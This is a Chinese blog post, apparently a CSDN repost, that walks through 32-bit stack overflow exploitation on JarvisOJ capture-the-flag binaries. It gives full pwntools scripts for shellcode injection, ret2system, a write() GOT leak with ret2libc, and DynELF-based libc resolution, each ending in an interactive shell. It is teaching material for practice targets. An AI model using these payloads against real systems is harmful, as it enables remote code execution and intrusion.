简单栈溢出

32位系统简单栈溢出利用总结

输入的函数对输入的字符限制不够就会造成栈溢出漏洞。攻击者可以利用漏洞覆盖返回地址攻击。这里要说的就是对这类漏洞的利用总结。

导入shellcode

例子下载地址
https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5
用于没有开启NX保护的程序

liu@liu-F117-F:~/桌面/oj/level1$ checksec level1
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level1/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

直接导入shellcode。

过程:把system(“/bin/sh”)的shellcode放到栈里面–>填充到栈溢出的地方–>把shellcode的起始地址放到原本返回地址的位置。
  用pwntools提供的函数直接生成asm(shellcraft.sh()),使用之前为了防止不必要的错误加上context(arch=’i386’,os=’linux’)。
  程序的堆栈构造是:返回地址+ebp的值+本栈的数据(这里本栈的数据是ebp为栈底,esp为栈顶)。具体要找到填充多少会覆盖到返回地址可以直接看ida里面会显示某个指针到ebp的距离char buf; // [esp+0h] [ebp-88h]这里的返回地址就是0x88+4的位置
除了需要shellcode还需要一个地址(shellcode导入的地址)

from pwn import *
context(arch='i386',os='linux')
#p=process("./level1")
p=remote("pwn2.jarvisoj.com",9877)

p.recvuntil("this:")
stack_addr=int(p.recv(10),16)
p.recvline()
print hex(stack_addr)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()

shellcode不能执行

例子下载地址https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1

liu@liu-F117-F:~/桌面/oj/level2$ checksec level2 
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level2/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
liu@liu-F117-F:~/桌面/oj/level2$ 

开启了NX保护。NX是栈内数据不可执行
栈内数据不可执行就要通过执行程序自己的部分来实现我们需要的操作。
程序中找到了system("echo 'Hello World!'");.data:0804A024 00000008 C /bin/sh。只要想办法把system函数的参数换成/bin/sh的地址就能获取shell
规划:填充字符到返回地址–>让返回地址的位置为system函数的地址,同时system函数的参数的位置为/bin/sh的地址。

32位操作系统传递参数是用栈来实现的

 push    100h            ; nbytes
lea     eax, [ebp+buf]
push    eax             ; buf
push    0               ; fd
call    _read
add     esp, 10h

这是调用read(0, &buf, 0x100u);的时候的汇编代码,先入栈的是最后一个参数,幸运的是system函数只有一个参数不需要考虑参数的顺序问题。
也就是说我们只要保证当程序返回到system函数的地址的时候此时的参数已经准备好在对应的位置上。

from pwn import *
#context.log_level="debug"

system_addr=0x0804845C
bin_sh=0x0804A024

#p=process("./level2")
p=remote("pwn2.jarvisoj.com",9878)
p.recvline()
payload="A"*0x88+"A"*4+p32(system_addr)+p32(bin_sh)
p.sendline(payload)
p.interactive()

这里有一点需要注意,这里用的准确的说不是system而是call system 二者的区别是一个返回地址入栈是系统完成的,一个返回地址入栈只能我们(攻击者)来实现。

泄露运行时函数地址

如果程序开启了NX保护又没有system函数还没有/bin/sh字符串要要怎么办呢?
例子下载地址https://dn.jarvisoj.com/challengefiles/level3.rar.1ce2f904ead905afbadd33de1d0c391d
思考:程序运行的时候都会调用一个libc的动态链接共享库,程序本身没有system函数但是共享库里面有system函数它里面还有”/bin/sh”,但是要怎么用呢?
要解决2个难题
  1.靶机的系统运行的libc库是什么版本的,libc库有很多个版本
  2.找到libc库之后怎么确定libc库的加载地址,怎么找到syatem函数的地址。

泄露函数运行时加载的地址
一个函数在库中的偏移是固定的,每个版本的libc库中同一个函数的偏移一般是不同的
也就是说泄露一个libc库函数2个问题就都解决了如果不行就泄露2个。

from pwn import *
main_addr=0x08048484
elf=ELF("level3")
plt_write=elf.plt["write"]
got_write=elf.got["write"]

#p=process("./level3")
p=remote("pwn2.jarvisoj.com",9879)
p.recvline()
payload="A"*0x88+"A"*4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)

这里用write函数实现输出参数顺序就是上面构造的payload的顺序。为了方便操作,让输出之后的程序执行到main_addr。
输出的是got_write指向的内容(*got_write)。
获取libc版本
https://libc.blukat.me/?q=write%3A0x7f2179c14440这个网站可以查询。
离线工具database也能实现不过无论是在线的还是本地的存储的库都不够全,可能会出现没有的情况。下面将讲述一种更好的方法
获取system和”/bin/sh”在加载时的地址
system_addr-system_symbols=write_addr-write_symbols=库的加载地址
  system_addr,write_addr是函数的实际运行地址,其中system_addr是我们要求的地址,write_addr是我们在上一步中泄露出来的地址。
  system_symbols,write_symbols是函数在libc中的偏移,这些在我们获取到libc版本之后都很容易得到。


例子的利用exp

from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")

elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(elf.got["write"]) + p32(4)
p.send(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)

libc=ELF("libc-2.19.so")
#libc=ELF("libc6_2.27-3ubuntu1_i386.so")
bss_addr=0x0804a024
libc_system=libc.symbols["system"]
libc_binsh=next(libc.search("/bin/sh"))
libc_write=libc.symbols["write"]
system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh
print "system_addr="+hex(system_addr)
#raw_input()
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0x77777777) + p32(binsh_addr)

p.sendline(payload)

p.interactive()

泄露到write函数之后

system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh

来计算需要的地址payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0x77777777) + p32(binsh_addr)
这一段payload是填充到函数原本的返回地址–>用system函数的地址来覆盖原本的返回地址–>system函数的返回地址–>system函数的参数.
和之前不同的一点是上一个例子中调用的是call system这里的system_addr是system函数开始执行的地址,调用它之前我们也需要把call在栈里面实现。
上面有一点缺陷,libc-2.19.so网站上没有是用下面的方法获取的
自动获取libc版本
为了方便这里直接用pwntools提供的DynELF函数来获取,缺点是速度慢,优点是简单,可移植性强。

from pwn import *
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
def leak(address):
    p.recvline()
    payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data
#p=remote("pwn2.jarvisoj.com",9879)
p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)

执行完之后会直接获取到system函数的真实地址,也会下载下来system的库。


猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80984474